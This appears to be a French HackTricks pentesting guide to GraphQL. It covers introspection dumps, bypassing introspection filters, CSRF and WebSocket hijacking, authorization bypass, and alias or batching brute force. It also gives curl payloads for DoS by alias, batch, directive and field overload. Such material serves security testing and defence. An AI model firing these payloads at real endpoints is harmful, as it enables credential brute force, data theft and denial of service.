42 KiB

GraphQL

{{#include ../../banners/hacktricks-training.md}}

Introduction

GraphQL est souligné comme une alternative efficace à l'API REST, offrant une approche simplifiée pour interroger des données depuis le backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes à travers divers points de terminaison pour rassembler des données, GraphQL permet de récupérer toutes les informations nécessaires via une unique requête. Cette rationalisation bénéficie considérablement aux développeurs en réduisant la complexité de leurs processus de récupération de données.

GraphQL et Sécurité

Avec l'avènement de nouvelles technologies, y compris GraphQL, de nouvelles vulnérabilités de sécurité émergent également. Un point clé à noter est que GraphQL n'inclut pas de mécanismes d'authentification par défaut. Il incombe aux développeurs de mettre en œuvre de telles mesures de sécurité. Sans une authentification appropriée, les points de terminaison GraphQL peuvent exposer des informations sensibles à des utilisateurs non authentifiés, posant un risque de sécurité significatif.

Attaques par Brute Force de Répertoire et GraphQL

Pour identifier les instances GraphQL exposées, il est recommandé d'inclure des chemins spécifiques dans les attaques par brute force de répertoire. Ces chemins sont :

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes qu'un schéma prend en charge. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : GraphQL : Un langage de requête pour les APIs.

Empreinte

L'outil graphw00f est capable de détecter quel moteur GraphQL est utilisé sur un serveur et imprime ensuite des informations utiles pour l'auditeur de sécurité.

Requêtes Universelles

Pour vérifier si une URL est un service GraphQL, une requête universelle, query{__typename}, peut être envoyée. Si la réponse inclut {"data": {"__typename": "Query"}}, cela confirme que l'URL héberge un point de terminaison GraphQL. Cette méthode repose sur le champ __typename de GraphQL, qui révèle le type de l'objet interrogé.

query{__typename}

Énumération de base

Graphql prend généralement en charge GET, POST (x-www-form-urlencoded) et POST(json). Bien qu'il soit recommandé pour des raisons de sécurité de n'autoriser que json pour prévenir les attaques CSRF.

Introspection

Pour utiliser l'introspection afin de découvrir des informations sur le schéma, interrogez le champ __schema. Ce champ est disponible sur le type racine de toutes les requêtes.

query={__schema{types{name,fields{name}}}}

Avec cette requête, vous trouverez le nom de tous les types utilisés :

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Avec cette requête, vous pouvez extraire tous les types, leurs champs et leurs arguments (et le type des arguments). Cela sera très utile pour savoir comment interroger la base de données.

Erreurs

Il est intéressant de savoir si les erreurs vont être affichées car elles contribueront avec des informations utiles.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Énumérer le schéma de la base de données via l'introspection

Note

Si l'introspection est activée mais que la requête ci-dessus ne s'exécute pas, essayez de supprimer les directives onOperation, onFragment et onField de la structure de la requête.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Requête d'introspection en ligne :

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

La dernière ligne de code est une requête graphql qui va extraire toutes les méta-informations du graphql (noms des objets, paramètres, types...)

Si l'introspection est activée, vous pouvez utiliser GraphQL Voyager pour voir dans une interface graphique toutes les options.

Interrogation

Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'extraire quelques valeurs.

Dans l'introspection, vous pouvez trouver quel objet vous pouvez interroger directement (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "queryType" s'appelle "Query" et qu'un des champs de l'objet "Query" est "flags", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag.

Notez que le type de la requête "flags" est "Flags", et cet objet est défini comme ci-dessous :

Vous pouvez voir que les objets "Flags" sont composés de name et value. Ensuite, vous pouvez obtenir tous les noms et valeurs des flags avec la requête :

query={flags{name, value}}

Notez que si l'objet à interroger est un type primitif comme string, comme dans l'exemple suivant

Vous pouvez simplement l'interroger avec :

query = { hiddenFlags }

Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet de type "Query": "user" et "users".
Si ces objets n'ont pas besoin d'argument pour rechercher, vous pourriez récupérer toutes les informations les concernant juste en demandant les données que vous voulez. Dans cet exemple d'Internet, vous pourriez extraire les noms d'utilisateur et mots de passe sauvegardés :

Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette erreur :

On dirait que d'une manière ou d'une autre, il va rechercher en utilisant l'argument "uid" de type Int.
Quoi qu'il en soit, nous le savions déjà, dans la section Basic Enumeration, une requête a été proposée qui nous montrait toutes les informations nécessaires : query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "user" avait l'arg "uid" de type Int.

Ainsi, en effectuant un léger uid bruteforce, j'ai découvert qu'avec uid=1 un nom d'utilisateur et un mot de passe ont été récupérés :
query={user(uid:1){user,password}}

Notez que j'ai découvert que je pouvais demander les paramètres "user" et "password" parce que si j'essaie de chercher quelque chose qui n'existe pas (query={user(uid:1){noExists}}), j'obtiens cette erreur :

Et pendant la phase d'énumération, j'ai découvert que l'objet "dbuser" avait comme champs "user" et "password.

Truc de dump de chaîne de requête (merci à @BinaryShadow_)

Si vous pouvez rechercher par un type de chaîne, comme : query={theusers(description: ""){username,password}} et que vous cherchez une chaîne vide, cela va dump toutes les données. (Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "theusers" par un champ de chaîne appelé "description").

Recherche

Dans cette configuration, une base de données contient des personnes et des films. Les personnes sont identifiées par leur email et nom ; les films par leur nom et note. Les personnes peuvent être amies entre elles et avoir également des films, indiquant des relations au sein de la base de données.

Vous pouvez chercher des personnes par le nom et obtenir leurs emails :

{
searchPerson(name: "John Doe") {
email
}
}

Vous pouvez chercher des personnes par le nom et obtenir leurs films abonnés :

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Notez comment il est indiqué de récupérer le name des subscribedMovies de la personne.

Vous pouvez également rechercher plusieurs objets en même temps. Dans ce cas, une recherche de 2 films est effectuée :

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ou même relations de plusieurs objets différents en utilisant des alias :

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Les mutations sont utilisées pour apporter des modifications côté serveur.

Dans l'introspection, vous pouvez trouver les mutations déclarées. Dans l'image suivante, le "MutationType" est appelé "Mutation" et l'objet "Mutation" contient les noms des mutations (comme "addPerson" dans ce cas) :

Dans cette configuration, une base de données contient des personnes et des films. Les personnes sont identifiées par leur email et nom ; les films par leur nom et note. Les personnes peuvent être amies entre elles et avoir également des films, indiquant des relations au sein de la base de données.

Une mutation pour créer de nouveaux films dans la base de données peut ressembler à la suivante (dans cet exemple, la mutation est appelée addMovie) :

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Notez comment à la fois les valeurs et le type de données sont indiqués dans la requête.

De plus, la base de données prend en charge une opération de mutation, nommée addPerson, qui permet la création de personnes ainsi que leurs associations avec des amis et des films existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Surcharge de directive

Comme expliqué dans l'une des vulnérabilités décrites dans ce rapport, une surcharge de directive implique d'appeler une directive même des millions de fois pour faire perdre des opérations au serveur jusqu'à ce qu'il soit possible de le DoS.

Batching brute-force dans 1 requête API

Cette information a été tirée de https://lab.wallarm.com/graphql-batching-attack/.
Authentification via l'API GraphQL avec l'envoi simultané de nombreuses requêtes avec différentes identifiants pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance de taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe.

Vous pouvez trouver ci-dessous la démonstration la plus simple d'une requête d'authentification d'application, avec 3 paires email/mot de passe différentes à la fois. Évidemment, il est possible d'en envoyer des milliers dans une seule requête de la même manière :

Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé null et ont reflété les informations correspondantes dans la section error. La deuxième mutation avait les données d'authentification correctes et la réponse contient le bon jeton de session d'authentification.

GraphQL Sans Introspection

De plus en plus de points de terminaison graphql désactivent l'introspection. Cependant, les erreurs que graphql renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour que des outils comme clairvoyance puissent recréer la plupart du schéma.

De plus, l'extension Burp Suite GraphQuail observe les requêtes API GraphQL passant par Burp et construit un schéma GraphQL interne avec chaque nouvelle requête qu'il voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos vérifiez ceci.

Une belle liste de mots pour découvrir les entités GraphQL peut être trouvée ici.

Contournement des défenses d'introspection GraphQL

Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un caractère spécial après le mot-clé __schema s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé __schema. En ajoutant des caractères comme espaces, nouvelles lignes et virgules, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans le regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après __schema peut contourner de telles défenses :

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Si cela échoue, envisagez des méthodes de requête alternatives, telles que GET requests ou POST avec x-www-form-urlencoded, car des restrictions peuvent ne s'appliquer qu'aux requêtes POST.

Essayez WebSockets

Comme mentionné dans cette conférence, vérifiez s'il est possible de se connecter à graphQL via WebSockets, car cela pourrait vous permettre de contourner un éventuel WAF et de faire en sorte que la communication WebSocket divulgue le schéma de graphQL :

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Découverte des structures GraphQL exposées

Lorsque l'introspection est désactivée, examiner le code source du site Web à la recherche de requêtes préchargées dans les bibliothèques JavaScript est une stratégie utile. Ces requêtes peuvent être trouvées en utilisant l'onglet Sources dans les outils de développement, fournissant des informations sur le schéma de l'API et révélant potentiellement des requêtes sensibles exposées. Les commandes pour rechercher dans les outils de développement sont :

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF dans GraphQL

Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante :

{{#ref}} ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}}

Là-bas, vous pourrez trouver plusieurs points de terminaison GraphQL configurés sans jetons CSRF.

Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le type de contenu application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Cependant, la plupart des points de terminaison GraphQL prennent également en charge les form-urlencoded POST requests :

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées sans requêtes préalables, il est possible de faire des modifications dans le GraphQL en abusant d'un CSRF.

Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau samesite de Chrome est Lax. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les requêtes GET.

Notez qu'il est généralement possible d'envoyer la requête query également en tant que requête GET et que le token CSRF pourrait ne pas être validé dans une requête GET.

De plus, en abusant d'une attaque XS-Search, il pourrait être possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des identifiants de l'utilisateur.

Pour plus d'informations, vérifiez le post original ici.

Détournement de WebSocket intersite dans GraphQL

Semblable aux vulnérabilités CRSF abusant de GraphQL, il est également possible de réaliser un détournement de WebSocket intersite pour abuser d'une authentification avec GraphQL avec des cookies non protégés et faire en sorte qu'un utilisateur effectue des actions inattendues dans GraphQL.

Pour plus d'informations, consultez :

{{#ref}} ../../pentesting-web/websocket-attacks.md {{#endref}}

Autorisation dans GraphQL

De nombreuses fonctions GraphQL définies sur le point de terminaison pourraient uniquement vérifier l'authentification du demandeur mais pas l'autorisation.

Modifier les variables d'entrée de la requête pourrait conduire à des détails de compte sensibles fuités.

La mutation pourrait même conduire à une prise de contrôle de compte en essayant de modifier d'autres données de compte.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Contournement de l'autorisation dans GraphQL

Chaining queries ensemble peut contourner un système d'authentification faible.

Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas nous ajoutons "register" et une variable utilisateur pour que le système s'enregistre en tant que nouvel utilisateur.

Contournement des limites de taux en utilisant des alias dans GraphQL

Dans GraphQL, les alias sont une fonctionnalité puissante qui permet le nommage explicite des propriétés lors d'une requête API. Cette capacité est particulièrement utile pour récupérer plusieurs instances du même type d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.

Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : Aliases.

Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le nombre de requêtes HTTP. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent l'inclusion de plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.

Considérez l'exemple fourni ci-dessous, qui illustre comment des requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction en magasin. Cette méthode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requêtes en une seule requête HTTP, permettant potentiellement la vérification de plusieurs codes de réduction simultanément.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS dans GraphQL

Surcharge d'Aliases

Surcharge d'Aliases est une vulnérabilité GraphQL où les attaquants surchargent une requête avec de nombreux alias pour le même champ, ce qui amène le résolveur backend à exécuter ce champ de manière répétée. Cela peut submerger les ressources du serveur, entraînant un Denial of Service (DoS). Par exemple, dans la requête ci-dessous, le même champ (expensiveField) est demandé 1 000 fois en utilisant des alias, forçant le backend à le calculer 1 000 fois, ce qui peut épuiser le CPU ou la mémoire :

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Pour atténuer cela, mettez en œuvre des limites de compte d'alias, une analyse de la complexité des requêtes ou une limitation de débit pour prévenir l'abus de ressources.

Batching de Requêtes Basé sur des Tableaux

Le Batching de Requêtes Basé sur des Tableaux est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes groupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un Denial of Service (DoS). S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Dans cet exemple, 10 requêtes différentes sont regroupées en une seule demande, forçant le serveur à les exécuter toutes simultanément. Si exploité avec une taille de lot plus grande ou des requêtes coûteuses en calcul, cela peut surcharger le serveur.

Vulnérabilité de Surcharge de Directive

Surcharge de Directive se produit lorsqu'un serveur GraphQL permet des requêtes avec des directives excessives et dupliquées. Cela peut submerger le parseur et l'exécuteur du serveur, surtout si le serveur traite de manière répétée la même logique de directive. Sans validation ou limites appropriées, un attaquant peut exploiter cela en créant une requête avec de nombreuses directives dupliquées pour déclencher une utilisation élevée des ressources de calcul ou de mémoire, entraînant une Déni de Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Notez que dans l'exemple précédent, @aa est une directive personnalisée qui pourrait ne pas être déclarée. Une directive courante qui existe généralement est @include :

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Vous pouvez également envoyer une requête d'introspection pour découvrir toutes les directives déclarées :

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Et ensuite utilisez certains des personnalisés.

Vulnérabilité de Duplication de Champ

Duplication de Champ est une vulnérabilité où un serveur GraphQL permet des requêtes avec le même champ répété de manière excessive. Cela oblige le serveur à résoudre le champ de manière redondante pour chaque instance, consommant des ressources significatives (CPU, mémoire et appels de base de données). Un attaquant peut créer des requêtes avec des centaines ou des milliers de champs répétés, provoquant une charge élevée et pouvant potentiellement conduire à un Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Outils

Scanners de vulnérabilités

Scripts pour exploiter des vulnérabilités courantes

Clients

Tests automatiques

{{#ref}} https://graphql-dashboard.herokuapp.com/ {{#endref}}

Références

{{#include ../../banners/hacktricks-training.md}}